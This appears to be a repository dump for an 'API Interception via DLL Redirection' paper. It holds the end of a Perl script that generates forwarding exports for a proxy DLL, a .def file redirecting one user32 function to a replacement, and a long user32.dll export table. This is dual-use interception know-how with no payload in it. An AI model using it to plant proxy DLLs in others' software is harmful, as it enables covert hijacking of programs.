48 | open(FILI,"<$file_in"); #input file
49 | open(FILO,">$file_out"); #output file
50 |
51 | foreach $line (){
52 |
53 | if($line =~ m/\S+/){ #ignore blank lines
54 | chomp($line);
55 | @strin = split(m/\s+/,$line); #read each column in the text file into an array
56 | if(@strin[3] eq "[NONAME]"){ #is this function exported by ordinal only?
57 | $ord = @strin[1];
58 | printf FILO $prepend . "ord$ord=$dll.#$ord,\@$ord,NONAME\")\n";
59 | } else {
60 |
61 | $ord = @strin[1];
62 | $name = @strin[4];
63 | if($name =~ m/^_/){ #when creating the exported functions, VC++ removes one underscore from the beginning of functions that start with an underscore; let's add an extra one to combat this
64 |
65 | $name_in = "_" . $name;
66 | } else {
67 | $name_in = $name;
68 | }
69 | if($name eq "(forwarded"){ #is the original function forwarded to another DLL?
70 | chop(@strin[6]); #remove the trailing parentheses
71 | print FILO "$prepend@strin[3]=@strin[6],\@$ord\")\n";
72 |
73 | } else {
74 |
75 | print FILO "$prepend$name_in=$dll.$name,\@$ord\")\n";
76 | }
77 | }
78 | }
79 | }
80 |
81 | close(FILI);
82 | close(FILO);
83 |
84 | print "\nLinkout has finished. Results have been saved to: $file_out\n";
85 |
86 | exit;
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/stdafx.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/stdafx.cpp
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/stdafx.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/stdafx.h
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/targetver.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/targetver.h
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/user32.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/user32.cpp
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/user32.def:
--------------------------------------------------------------------------------
1 | LIBRARY user32.dll
2 |
3 | EXPORTS
4 | GetProcessDefaultLayout=myGetProcessDefaultLayout
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/user32.txt:
--------------------------------------------------------------------------------
1 | 1 0 00018673 ActivateKeyboardLayout
2 | 2 1 00021140 AdjustWindowRect
3 | 3 2 0001E7EA AdjustWindowRectEx
4 | 4 3 0005D4E0 AlignRects
5 | 5 4 00046414 AllowForegroundActivation
6 | 6 5 00011E40 AllowSetForegroundWindow
7 | 7 6 00012156 AnimateWindow
8 | 8 7 00059C27 AnyPopup
9 | 9 8 00021B0E AppendMenuA
10 | 10 9 000132BA AppendMenuW
11 | 11 A 00045F46 ArrangeIconicWindows
12 | 12 B 00021E52 AttachThreadInput
13 | 13 C 0001AFB9 BeginDeferWindowPos
14 | 14 D 00018FE9 BeginPaint
15 | 15 E 0005CA7E BlockInput
16 | 16 F 000203A8 BringWindowToTop
17 | 17 10 0005AEBE BroadcastSystemMessage
18 | 18 11 0005AEBE BroadcastSystemMessageA
19 | 19 12 0005AE97 BroadcastSystemMessageExA
20 | 20 13 00013654 BroadcastSystemMessageExW
21 | 21 14 0000E666 BroadcastSystemMessageW
22 | 22 15 00057DF6 BuildReasonArray
23 | 23 16 0001C5E4 CalcMenuBar
24 | 24 17 0005B216 CallMsgFilter
25 | 25 18 0005B216 CallMsgFilterA
26 | 26 19 0001750E CallMsgFilterW
27 | 27 1A 0001B3C6 CallNextHookEx
28 | 28 1B 0001A97D CallWindowProcA
29 | 29 1C 0001A01E CallWindowProcW
30 | 30 1D 00045F5E CascadeChildWindows
31 | 31 1E 00055039 CascadeWindows
32 | 32 1F 00020487 ChangeClipboardChain
33 | 33 20 0005B400 ChangeDisplaySettingsA
34 | 34 21 0001384E ChangeDisplaySettingsExA
35 | 35 22 000495BD ChangeDisplaySettingsExW
36 | 36 23 00049623 ChangeDisplaySettingsW
37 | 37 24 0003F298 ChangeMenuA
38 | 38 25 0005525E ChangeMenuW
39 | 39 26 00018717 CharLowerA
40 | 40 27 00018845 CharLowerBuffA
41 | 41 28 00009E57 CharLowerBuffW
42 | 42 29 0001B24C CharLowerW
43 | 43 2A 0001C8B0 CharNextA
44 | 44 2B 0005984E CharNextExA
45 | 45 2C 0001B1B0 CharNextW
46 | 46 2D 0001C8DA CharPrevA
47 | 47 2E 00059882 CharPrevExA
48 | 48 2F 0001D607 CharPrevW
49 | 49 30 0000AEF1 CharToOemA
50 | 50 31 00021626 CharToOemBuffA
51 | 51 32 00056E31 CharToOemBuffW
52 | 52 33 00013467 CharToOemW
53 | 53 34 00008D2B CharUpperA
54 | 54 35 0000AE3F CharUpperBuffA
55 | 55 36 00009216 CharUpperBuffW
56 | 56 37 000090D2 CharUpperW
57 | 57 38 00014DCA CheckDlgButton
58 | 58 39 00021ABD CheckMenuItem
59 | 59 3A 000553A2 CheckMenuRadioItem
60 | 60 3B 0004BDE1 CheckRadioButton
61 | 61 3C 0001201F ChildWindowFromPoint
62 | 62 3D 0001200B ChildWindowFromPointEx
63 | 63 3E 00043C33 CliImmSetHotKey
64 | 64 3F 0000A00A ClientThreadSetup
65 | 65 40 00019B60 ClientToScreen
66 | 66 41 0002FDC5 ClipCursor
67 | 67 42 00020265 CloseClipboard
68 | 68 43 0001812F CloseDesktop
69 | 69 44 00045F7F CloseWindow
70 | 70 45 00017D18 CloseWindowStation
71 | 71 46 00046C91 CopyAcceleratorTableA
72 | 72 47 0003FC5E CopyAcceleratorTableW
73 | 73 48 0000DE72 CopyIcon
74 | 74 49 0001DC14 CopyImage
75 | 75 4A 0001A042 CopyRect
76 | 76 4B 0002167F CountClipboardFormats
77 | 77 4C 00043497 CreateAcceleratorTableA
78 | 78 4D 0000D9BB CreateAcceleratorTableW
79 | 79 4E 0001A94E CreateCaret
80 | 80 4F 00047059 CreateCursor
81 | 81 50 00045E37 CreateDesktopA
82 | 82 51 0001162A CreateDesktopW
83 | 83 52 00029B28 CreateDialogIndirectParamA
84 | 84 53 0001680B CreateDialogIndirectParamAorW
85 | 85 54 0002F01F CreateDialogIndirectParamW
86 | 86 55 0002C7DB CreateDialogParamA
87 | 87 56 0000EA3B CreateDialogParamW
88 | 88 57 000470BC CreateIcon
89 | 89 58 00047134 CreateIconFromResource
90 | 90 59 0000D354 CreateIconFromResourceEx
91 | 91 5A 0000C86C CreateIconIndirect
92 | 92 5B 0003FDC0 CreateMDIWindowA
93 | 93 5C 0002F810 CreateMDIWindowW
94 | 94 5D 0001F306 CreateMenu
95 | 95 5E 0000F601 CreatePopupMenu
96 | 96 5F 000216E8 CreateSystemThreads
97 | 97 60 0001E4A9 CreateWindowExA
98 | 98 61 0001D0A3 CreateWindowExW
99 | 99 62 0004642E CreateWindowStationA
100 | 100 63 000113DD CreateWindowStationW
101 | 101 64 0001367B CsrBroadcastSystemMessageExW
102 | 102 65 0000E9E2 CtxInitUser32
103 | 103 66 0005AD84 DdeAbandonTransaction
104 | 104 67 00051309 DdeAccessData
105 | 105 68 000510D1 DdeAddData
106 | 106 69 0005A6A2 DdeClientTransaction
107 | 107 6A 00051D8D DdeCmpStringHandles
108 | 108 6B 000481C3 DdeConnect
109 | 109 6C 000484DE DdeConnectList
110 | 110 6D 00051769 DdeCreateDataHandle
111 | 111 6E 00051E43 DdeCreateStringHandleA
112 | 112 6F 00010447 DdeCreateStringHandleW
113 | 113 70 000483C4 DdeDisconnect
114 | 114 71 0004843B DdeDisconnectList
115 | 115 72 00045212 DdeEnableCallback
116 | 116 73 000518E2 DdeFreeDataHandle
117 | 117 74 00051F70 DdeFreeStringHandle
118 | 118 75 000511F1 DdeGetData
119 | 119 76 0004A853 DdeGetLastError
120 | 120 77 0005CAA6 DdeGetQualityOfService
121 | 121 78 0004A894 DdeImpersonateClient
122 | 122 79 0004A8F6 DdeInitializeA
123 | 123 7A 000106D7 DdeInitializeW
124 | 124 7B 0005200A DdeKeepStringHandle
125 | 125 7C 0001085E DdeNameService
126 | 126 7D 0005A3A5 DdePostAdvise
127 | 127 7E 0005ABA6 DdeQueryConvInfo
128 | 128 7F 000479AC DdeQueryNextServer
129 | 129 80 00052096 DdeQueryStringA
130 | 130 81 000520B3 DdeQueryStringW
131 | 131 82 0004826B DdeReconnect
132 | 132 83 0005CABA DdeSetQualityOfService
133 | 133 84 0005AD29 DdeSetUserHandle
134 | 134 85 0005137B DdeUnaccessData
135 | 135 86 0004A732 DdeUninitialize
136 | 136 87 0002E577 DefDlgProcA
137 | 137 88 00013D3A DefDlgProcW
138 | 138 89 0003F965 DefFrameProcA
139 | 139 8A 00020833 DefFrameProcW
140 | 140 8B 0003F9B4 DefMDIChildProcA
141 | 141 8C 00020A47 DefMDIChildProcW
142 | 142 8D 000468DD DefRawInputProc
143 | 143 8E 0001C17E DefWindowProcA
144 | 144 8F 00018D20 DefWindowProcW
145 | 145 90 0001AFDB DeferWindowPos
146 | 146 91 0001CED3 DeleteMenu
147 | 147 92 000302C0 DeregisterShellHookWindow
148 | 148 93 0002FE8D DestroyAcceleratorTable
149 | 149 94 00019C0E DestroyCaret
150 | 150 95 0001D312 DestroyCursor
151 | 151 96 0001D312 DestroyIcon
152 | 152 97 0001D39D DestroyMenu
153 | 153 98 00057ED8 DestroyReasons
154 | 154 99 0001B19C DestroyWindow
155 | 155 9A 0004A0F8 DeviceEventWorker
156 | 156 9B 00046D7D DialogBoxIndirectParamA
157 | 157 9C 000149D0 DialogBoxIndirectParamAorW
158 | 158 9D 00022072 DialogBoxIndirectParamW
159 | 159 9E 0002B144 DialogBoxParamA
160 | 160 9F 000147AB DialogBoxParamW
161 | 161 A0 00046421 DisableProcessWindowsGhosting
162 | 162 A1 000096B8 DispatchMessageA
163 | 163 A2 00008A01 DispatchMessageW
164 | 164 A3 00049F91 DisplayExitWindowsWarnings
165 | 165 A4 000538DF DlgDirListA
166 | 166 A5 00047599 DlgDirListComboBoxA
167 | 167 A6 00047626 DlgDirListComboBoxW
168 | 168 A7 0005396D DlgDirListW
169 | 169 A8 00047657 DlgDirSelectComboBoxExA
170 | 170 A9 00047543 DlgDirSelectComboBoxExW
171 | 171 AA 00053AFE DlgDirSelectExA
172 | 172 AB 00053B64 DlgDirSelectExW
173 | 173 AC 0005CACE DragDetect
174 | 174 AD 0005CAE2 DragObject
175 | 175 AE 0005CAF6 DrawAnimatedRects
176 | 176 AF 00056D9F DrawCaption
177 | 177 B0 0005B2D0 DrawCaptionTempA
178 | 178 B1 0003F339 DrawCaptionTempW
179 | 179 B2 0001FBF6 DrawEdge
180 | 180 B3 0001F94F DrawFocusRect
181 | 181 B4 000229C4 DrawFrame
182 | 182 B5 0002E940 DrawFrameControl
183 | 183 B6 0002D06C DrawIcon
184 | 184 B7 0001CB84 DrawIconEx
185 | 185 B8 0003F69C DrawMenuBar
186 | 186 B9 0005536D DrawMenuBarTemp
187 | 187 BA 0003F100 DrawStateA
188 | 188 BB 000145BB DrawStateW
189 | 189 BC 0002C702 DrawTextA
190 | 190 BD 0002C739 DrawTextExA
191 | 191 BE 0001B415 DrawTextExW
192 | 192 BF 0001D7E2 DrawTextW
193 | 193 C0 00023000 EditWndProc
194 | 194 C1 00020D96 EmptyClipboard
195 | 195 C2 0001D2C4 EnableMenuItem
196 | 196 C3 00058005 EnableScrollBar
197 | 197 C4 00019849 EnableWindow
198 | 198 C5 0001AF8D EndDeferWindowPos
199 | 199 C6 00014A4E EndDialog
200 | 200 C7 0005CB5A EndMenu
201 | 201 C8 00018FFD EndPaint
202 | 202 C9 0004A0A5 EndTask
203 | 203 CA 0005769F EnterReaderModeHelper
204 | 204 CB 0001B0F0 EnumChildWindows
205 | 205 CC 0002E53D EnumClipboardFormats
206 | 206 CD 0001851A EnumDesktopWindows
207 | 207 CE 0002234B EnumDesktopsA
208 | 208 CF 0001853B EnumDesktopsW
209 | 209 D0 00018A74 EnumDisplayDevicesA
210 | 210 D1 0000E03C EnumDisplayDevicesW
211 | 211 D2 0001A77B EnumDisplayMonitors
212 | 212 D3 00013A67 EnumDisplaySettingsA
213 | 213 D4 000138F3 EnumDisplaySettingsExA
214 | 214 D5 00013563 EnumDisplaySettingsExW
215 | 215 D6 0001362A EnumDisplaySettingsW
216 | 216 D7 000455D9 EnumPropsA
217 | 217 D8 00045613 EnumPropsExA
218 | 218 D9 00045631 EnumPropsExW
219 | 219 DA 000455F6 EnumPropsW
220 | 220 DB 0001F539 EnumThreadWindows
221 | 221 DC 0002232E EnumWindowStationsA
222 | 222 DD 0004564F EnumWindowStationsW
223 | 223 DE 0001A5AE EnumWindows
224 | 224 DF 00019E81 EqualRect
225 | 225 E0 00020251 ExcludeUpdateRgn
226 | 226 E1 0004A275 ExitWindowsEx
227 | 227 E2 00019C2F FillRect
228 | 228 E3 000182E1 FindWindowA
229 | 229 E4 0002214A FindWindowExA
230 | 230 E5 0000E0E3 FindWindowExW
231 | 231 E6 0001C9C3 FindWindowW
232 | 232 E7 00045FC4 FlashWindow
233 | 233 E8 0005CB80 FlashWindowEx
234 | 234 E9 0001F92A FrameRect
235 | 235 EA 0004BA77 FreeDDElParam
236 | 236 EB 0001C2E8 GetActiveWindow
237 | 237 EC 0005B3DC GetAltTabInfo
238 | 238 ED 0005B3DC GetAltTabInfoA
239 | 239 EE 00020D09 GetAltTabInfoW
240 | 240 EF 0001AF79 GetAncestor
241 | 242 F0 0001CDD4 GetAppCompatFlags
242 | 241 F1 00008ED6 GetAppCompatFlags2
243 | 243 F2 0001A78F GetAsyncKeyState
244 | 244 F3 000094DA GetCapture
245 | 245 F4 0001A928 GetCaretBlinkTime
246 | 246 F5 0001F6A1 GetCaretPos
247 | 247 F6 0002EBFF GetClassInfoA
248 | 248 F7 0000DD58 GetClassInfoExA
249 | 249 F8 0000DEBC GetClassInfoExW
250 | 250 F9 0001E81E GetClassInfoW
251 | 251 FA 0001F4F1 GetClassLongA
252 | 252 FB 00019AE9 GetClassLongW
253 | 253 FC 0001F45F GetClassNameA
254 | 254 FD 00019D12 GetClassNameW
255 | 255 FE 0004535C GetClassWord
256 | 256 FF 0001908E GetClientRect
257 | 257 100 0005CBA6 GetClipCursor
258 | 258 101 00020DBA GetClipboardData
259 | 259 102 00021290 GetClipboardFormatNameA
260 | 260 103 0004957F GetClipboardFormatNameW
261 | 261 104 00020DA8 GetClipboardOwner
262 | 262 105 0001F17A GetClipboardSequenceNumber
263 | 263 106 0005CB94 GetClipboardViewer
264 | 264 107 0005CBBA GetComboBoxInfo
265 | 265 108 0001A91B GetCursor
266 | 266 109 000147F8 GetCursorFrameInfo
267 | 267 10A 0005CBCE GetCursorInfo
268 | 268 10B 0001974E GetCursorPos
269 | 269 10C 000086C7 GetDC
270 | 270 10D 0001C595 GetDCEx
271 | 271 10E 0001D1D2 GetDesktopWindow
272 | 272 10F 00046003 GetDialogBaseUnits
273 | 273 110 0001AF1B GetDlgCtrlID
274 | 274 111 0001436E GetDlgItem
275 | 275 112 0004BC8B GetDlgItemInt
276 | 276 113 0005B05E GetDlgItemTextA
277 | 277 114 00014305 GetDlgItemTextW
278 | 278 115 0001D86B GetDoubleClickTime
279 | 279 116 000198C8 GetFocus
280 | 280 117 00019823 GetForegroundWindow
281 | 281 118 00017F28 GetGUIThreadInfo
282 | 282 119 0005CBE2 GetGuiResources
283 | 283 11A 0001D427 GetIconInfo
284 | 284 11B 00046022 GetInputDesktop
285 | 285 11C 0001F64E GetInputState
286 | 286 11D 0005CC0A GetInternalWindowPos
287 | 287 11E 000521A8 GetKBCodePage
288 | 288 11F 0003F6B4 GetKeyNameTextA
289 | 289 120 0004958F GetKeyNameTextW
290 | 290 121 00019ED9 GetKeyState
291 | 291 122 00019BF6 GetKeyboardLayout
292 | 292 123 00019C1B GetKeyboardLayoutList
293 | 293 124 00043631 GetKeyboardLayoutNameA
294 | 294 125 00021481 GetKeyboardLayoutNameW
295 | 295 126 0001D226 GetKeyboardState
296 | 296 127 000211DB GetKeyboardType
297 | 297 128 0002157A GetLastActivePopup
298 | 298 129 000094F4 GetLastInputInfo
299 | 299 12A 0005CFC6 GetLayeredWindowAttributes
300 | 300 12B 0005CC32 GetListBoxInfo
301 | 301 12C 000214BA GetMenu
302 | 302 12D 0005CC46 GetMenuBarInfo
303 | 303 12E 000402F9 GetMenuCheckMarkDimensions
304 | 304 12F 000552FF GetMenuContextHelpId
305 | 305 130 0000F667 GetMenuDefaultItem
306 | 306 131 00046725 GetMenuInfo
307 | 307 132 0001EF1C GetMenuItemCount
308 | 308 133 0003F1C8 GetMenuItemID
309 | 309 134 0001F0AD GetMenuItemInfoA
310 | 310 135 0000F72A GetMenuItemInfoW
311 | 311 136 0005CC6E GetMenuItemRect
312 | 312 137 0000F967 GetMenuState
313 | 313 138 0003F24E GetMenuStringA
314 | 314 139 000464E4 GetMenuStringW
315 | 315 13A 0001772B GetMessageA
316 | 316 13B 000468B8 GetMessageExtraInfo
317 | 317 13C 0001996C GetMessagePos
318 | 318 13D 00019DE0 GetMessageTime
319 | 319 13E 000091C6 GetMessageW
320 | 320 13F 0001A84A GetMonitorInfoA
321 | 321 140 0001A6D9 GetMonitorInfoW
322 | 322 141 0005CC82 GetMouseMovePointsEx
323 | 323 142 0004BF27 GetNextDlgGroupItem
324 | 324 143 000137C3 GetNextDlgTabItem
325 | 325 144 00021691 GetOpenClipboardWindow
326 | 326 145 0001910F GetParent
327 | 327 146 0005CC96 GetPriorityClipboardFormat
328 | 328 147 000463E4 GetProcessDefaultLayout
329 | 329 148 00009195 GetProcessWindowStation
330 | 330 149 0004612D GetProgmanWindow
331 | 331 14A 00020042 GetPropA
332 | 332 14B 000194B3 GetPropW
333 | 333 14C 0001AE46 GetQueueStatus
334 | 334 14D 00050DCD GetRawInputBuffer
335 | 335 14E 0005CCBE GetRawInputData
336 | 336 14F 0005AF0D GetRawInputDeviceInfoA
337 | 337 150 00046558 GetRawInputDeviceInfoW
338 | 338 151 0005CCE6 GetRawInputDeviceList
339 | 339 152 00057F24 GetReasonTitleFromReasonCode
340 | 340 153 0005CCFA GetRegisteredRawInputDevices
341 | 341 154 0001DFB4 GetScrollBarInfo
342 | 342 155 0001DFE2 GetScrollInfo
343 | 343 156 0001F704 GetScrollPos
344 | 344 157 0001F787 GetScrollRange
345 | 345 158 00009252 GetShellWindow
346 | 346 159 0001D896 GetSubMenu
347 | 347 15A 00008E78 GetSysColor
348 | 348 15B 00008EAB GetSysColorBrush
349 | 349 15C 0001B222 GetSystemMenu
350 | 350 15D 00008F9C GetSystemMetrics
351 | 351 15E 0004A6A1 GetTabbedTextExtentA
352 | 352 15F 0004A677 GetTabbedTextExtentW
353 | 353 160 0004370D GetTaskmanWindow
354 | 354 161 00009A51 GetThreadDesktop
355 | 355 162 0001C581 GetTitleBarInfo
356 | 356 163 0001F25B GetTopWindow
357 | 357 164 0001A8C9 GetUpdateRect
358 | 358 165 0001F5EC GetUpdateRgn
359 | 359 166 00021300 GetUserObjectInformationA
360 | 360 167 00008D17 GetUserObjectInformationW
361 | 361 168 00045B65 GetUserObjectSecurity
362 | 362 169 00045B9B GetWinStationInfo
363 | 363 16A 00019655 GetWindow
364 | 364 16B 00046180 GetWindowContextHelpId
365 | 365 16C 00009021 GetWindowDC
366 | 366 16D 0001C49C GetWindowInfo
367 | 367 16E 0000945D GetWindowLongA
368 | 368 16F 000088A6 GetWindowLongW
369 | 369 170 0005AEE4 GetWindowModuleFileName
370 | 370 171 0005AEE4 GetWindowModuleFileNameA
371 | 371 172 0004652F GetWindowModuleFileNameW
372 | 372 173 000203C7 GetWindowPlacement
373 | 373 174 000190B4 GetWindowRect
374 | 374 175 0000E443 GetWindowRgn
375 | 375 176 0001D007 GetWindowRgnBox
376 | 376 177 0002216B GetWindowTextA
377 | 377 178 0003F18B GetWindowTextLengthA
378 | 378 179 00017836 GetWindowTextLengthW
379 | 379 17A 0001A5CD GetWindowTextW
380 | 380 17B 00008A80 GetWindowThreadProcessId
381 | 381 17C 0002030C GetWindowWord
382 | 382 17D 00045B05 GrayStringA
383 | 383 17E 00045B35 GrayStringW
384 | 384 17F 0001B086 HideCaret
385 | 385 180 0005CD22 HiliteMenuItem
386 | 386 181 0005B4C0 IMPGetIMEA
387 | 387 182 0005B4AF IMPGetIMEW
388 | 388 183 0005B4E2 IMPQueryIMEA
389 | 389 184 0005B4D1 IMPQueryIMEW
390 | 390 185 0005B504 IMPSetIMEA
391 | 391 186 0005B4F3 IMPSetIMEW
392 | 392 187 0005CD36 ImpersonateDdeClientWindow
393 | 393 188 00017296 InSendMessage
394 | 394 189 0001AE83 InSendMessageEx
395 | 395 18A 000198D5 InflateRect
396 | 396 18B 00046646 InitializeLpkHooks
397 | 397 18C 00056FC7 InitializeWin32EntryTable
398 | 398 18D 0002ED26 InsertMenuA
399 | 399 18E 0003F710 InsertMenuItemA
400 | 400 18F 0000F5C8 InsertMenuItemW
401 | 401 190 0000F60E InsertMenuW
402 | 402 191 0001C5A9 InternalGetWindowText
403 | 403 192 00018F1F IntersectRect
404 | 404 193 00018FD5 InvalidateRect
405 | 405 194 0001CDFE InvalidateRgn
406 | 406 195 0003FC72 InvertRect
407 | 407 196 0002E5E6 IsCharAlphaA
408 | 408 197 0003F469 IsCharAlphaNumericA
409 | 409 198 00011AC2 IsCharAlphaNumericW
410 | 410 199 0001D683 IsCharAlphaW
411 | 411 19A 0002B889 IsCharLowerA
412 | 412 19B 0003F3B2 IsCharLowerW
413 | 413 19C 0002707E IsCharUpperA
414 | 414 19D 0005A1DF IsCharUpperW
415 | 415 19E 0000970E IsChild
416 | 416 19F 0001F166 IsClipboardFormatAvailable
417 | 417 1A0 0002C689 IsDialogMessage
418 | 418 1A1 0002C689 IsDialogMessageA
419 | 419 1A2 00017424 IsDialogMessageW
420 | 420 1A3 00014DFA IsDlgButtonChecked
421 | 421 1A4 0005A19F IsGUIThread
422 | 422 1A5 00059C61 IsHungAppWindow
423 | 423 1A6 000197FF IsIconic
424 | 424 1A7 00021368 IsMenu
425 | 425 1A8 000198FE IsRectEmpty
426 | 426 1A9 0001B0CF IsServerSideWindow
427 | 427 1AA 0000B1A5 IsWinEventHookInstalled
428 | 428 1AB 00019313 IsWindow
429 | 429 1AC 0001977A IsWindowEnabled
430 | 430 1AD 0001B126 IsWindowInDestroy
431 | 431 1AE 00019F72 IsWindowUnicode
432 | 432 1AF 00019E3D IsWindowVisible
433 | 433 1B0 00019C8A IsZoomed
434 | 434 1B1 000460CC KillSystemTimer
435 | 435 1B2 00008C42 KillTimer
436 | 436 1B3 00021553 LoadAcceleratorsA
437 | 437 1B4 0001EE76 LoadAcceleratorsW
438 | 438 1B5 0001473C LoadBitmapA
439 | 439 1B6 00010242 LoadBitmapW
440 | 440 1B7 0001D33E LoadCursorA
441 | 441 1B8 00043CCB LoadCursorFromFileA
442 | 442 1B9 00043CAC LoadCursorFromFileW
443 | 443 1BA 00009D69 LoadCursorW
444 | 444 1BB 0001E8F6 LoadIconA
445 | 445 1BC 0001E8BC LoadIconW
446 | 446 1BD 00017C08 LoadImageA
447 | 447 1BE 00017B97 LoadImageW
448 | 448 1BF 00046262 LoadKeyboardLayoutA
449 | 449 1C0 0004623A LoadKeyboardLayoutEx
450 | 450 1C1 00021464 LoadKeyboardLayoutW
451 | 451 1C2 0000EDD8 LoadLocalFonts
452 | 452 1C3 0003FA83 LoadMenuA
453 | 453 1C4 0001EBBF LoadMenuIndirectA
454 | 454 1C5 0001EBBF LoadMenuIndirectW
455 | 455 1C6 0001EB48 LoadMenuW
456 | 456 1C7 0000ECB7 LoadRemoteFonts
457 | 457 1C8 0001C908 LoadStringA
458 | 458 1C9 00009E36 LoadStringW
459 | 459 1CA 0000DE5A LockSetForegroundWindow
460 | 460 1CB 0000F3C4 LockWindowStation
461 | 461 1CC 00029636 LockWindowUpdate
462 | 462 1CD 0005CD5E LockWorkStation
463 | 463 1CE 00047116 LookupIconIdFromDirectory
464 | 464 1CF 0000C4DA LookupIconIdFromDirectoryEx
465 | 465 1D0 0000ADAD MBToWCSEx
466 | 466 1D1 00055D55 MB_GetString
467 | 467 1D2 0004BE4C MapDialogRect
468 | 468 1D3 0001FEEA MapVirtualKeyA
469 | 469 1D4 0005B097 MapVirtualKeyExA
470 | 470 1D5 0004959F MapVirtualKeyExW
471 | 471 1D6 0004029E MapVirtualKeyW
472 | 472 1D7 00019507 MapWindowPoints
473 | 473 1D8 0005CD70 MenuItemFromPoint
474 | 474 1D9 00046873 MenuWindowProcA
475 | 475 1DA 0004682E MenuWindowProcW
476 | 476 1DB 00021F7B MessageBeep
477 | 477 1DC 000407EA MessageBoxA
478 | 478 1DD 0004085C MessageBoxExA
479 | 479 1DE 00040838 MessageBoxExW
480 | 480 1DF 0002A082 MessageBoxIndirectA
481 | 481 1E0 000564D5 MessageBoxIndirectW
482 | 482 1E1 00056406 MessageBoxTimeoutA
483 | 483 1E2 00056383 MessageBoxTimeoutW
484 | 484 1E3 00056534 MessageBoxW
485 | 485 1E4 0003F20B ModifyMenuA
486 | 486 1E5 0000F51F ModifyMenuW
487 | 487 1E6 0001ABF5 MonitorFromPoint
488 | 488 1E7 0001C713 MonitorFromRect
489 | 489 1E8 0001A679 MonitorFromWindow
490 | 490 1E9 0001B29E MoveWindow
491 | 491 1EA 00009689 MsgWaitForMultipleObjects
492 | 492 1EB 00009645 MsgWaitForMultipleObjectsEx
493 | 493 1EC 000199CB NotifyWinEvent
494 | 494 1ED 0004023C OemKeyScan
495 | 495 1EE 000200D7 OemToCharA
496 | 496 1EF 00020116 OemToCharBuffA
497 | 497 1F0 000402BB OemToCharBuffW
498 | 498 1F1 00056E76 OemToCharW
499 | 499 1F2 00019011 OffsetRect
500 | 500 1F3 00020277 OpenClipboard
501 | 501 1F4 00022369 OpenDesktopA
502 | 502 1F5 00018559 OpenDesktopW
503 | 503 1F6 000460E7 OpenIcon
504 | 504 1F7 0000ECA3 OpenInputDesktop
505 | 505 1F8 000221E1 OpenWindowStationA
506 | 506 1F9 00045E0B OpenWindowStationW
507 | 507 1FA 0004B961 PackDDElParam
508 | 508 1FB 0001864B PaintDesktop
509 | 509 1FC 0002151E PaintMenuBar
510 | 510 1FD 0001A340 PeekMessageA
511 | 511 1FE 0000929B PeekMessageW
512 | 512 1FF 0001AAFD PostMessageA
513 | 513 200 00008CCB PostMessageW
514 | 514 201 0001CA5A PostQuitMessage
515 | 515 202 000177C5 PostThreadMessageA
516 | 516 203 000177B8 PostThreadMessageW
517 | 517 204 00013810 PrintWindow
518 | 518 205 00050A09 PrivateExtractIconExA
519 | 519 206 0000D3C3 PrivateExtractIconExW
520 | 520 207 000509AF PrivateExtractIconsA
521 | 521 208 0000CCFC PrivateExtractIconsW
522 | 522 209 0005CE72 PrivateSetDbgTag
523 | 523 20A 0005CEFE PrivateSetRipFlags
524 | 524 20B 00019719 PtInRect
525 | 525 20C 0005CDBE QuerySendMessage
526 | 526 20D 0005CDD2 QueryUserCounters
527 | 527 20E 0005CDE6 RealChildWindowFromPoint
528 | 528 20F 0005B36B RealGetWindowClass
529 | 529 210 0005B36B RealGetWindowClassA
530 | 530 211 000495F6 RealGetWindowClassW
531 | 531 212 00057716 ReasonCodeNeedsBugID
532 | 532 213 000576FF ReasonCodeNeedsComment
533 | 533 214 000496FD RecordShutdownReason
534 | 534 215 00019944 RedrawWindow
535 | 535 216 0001EA5E RegisterClassA
536 | 536 217 00017C39 RegisterClassExA
537 | 537 218 0000AF7F RegisterClassExW
538 | 538 219 0000A39A RegisterClassW
539 | 539 21A 00008E28 RegisterClipboardFormatA
540 | 540 21B 0000AF34 RegisterClipboardFormatW
541 | 541 21C 00011B3B RegisterDeviceNotificationA
542 | 542 21D 0000E8B9 RegisterDeviceNotificationW
543 | 543 21E 0000EBB3 RegisterHotKey
544 | 544 21F 00012B73 RegisterLogonProcess
545 | 545 220 00011EFC RegisterMessagePumpHook
546 | 546 221 0005CE0E RegisterRawInputDevices
547 | 547 222 00011FAE RegisterServicesProcess
548 | 548 223 0000E104 RegisterShellHookWindow
549 | 549 224 00046198 RegisterSystemThread
550 | 550 225 0005CE22 RegisterTasklist
551 | 551 226 00011CFF RegisterUserApiHook
552 | 552 227 00008E28 RegisterWindowMessageA
553 | 553 228 0000AF34 RegisterWindowMessageW
554 | 554 229 0001C37A ReleaseCapture
555 | 555 22A 0000869D ReleaseDC
556 | 556 22B 0000F716 RemoveMenu
557 | 557 22C 00020094 RemovePropA
558 | 558 22D 0001C076 RemovePropW
559 | 559 22E 000186F8 ReplyMessage
560 | 560 22F 0005CE36 ResolveDesktopForWOW
561 | 561 230 0004BADB ReuseDDElParam
562 | 562 231 000197A0 ScreenToClient
563 | 563 232 00054DFC ScrollChildren
564 | 564 233 0000B1DD ScrollDC
565 | 565 234 0001FF39 ScrollWindow
566 | 566 235 00020187 ScrollWindowEx
567 | 567 236 0002C2E7 SendDlgItemMessageA
568 | 568 237 000173CC SendDlgItemMessageW
569 | 569 238 0005B49E SendIMEMessageExA
570 | 570 239 0005B48D SendIMEMessageExW
571 | 571 23A 0001F140 SendInput
572 | 572 23B 0001F3C2 SendMessageA
573 | 573 23C 0005B129 SendMessageCallbackA
574 | 574 23D 0001D6DB SendMessageCallbackW
575 | 575 23E 0001FB6B SendMessageTimeoutA
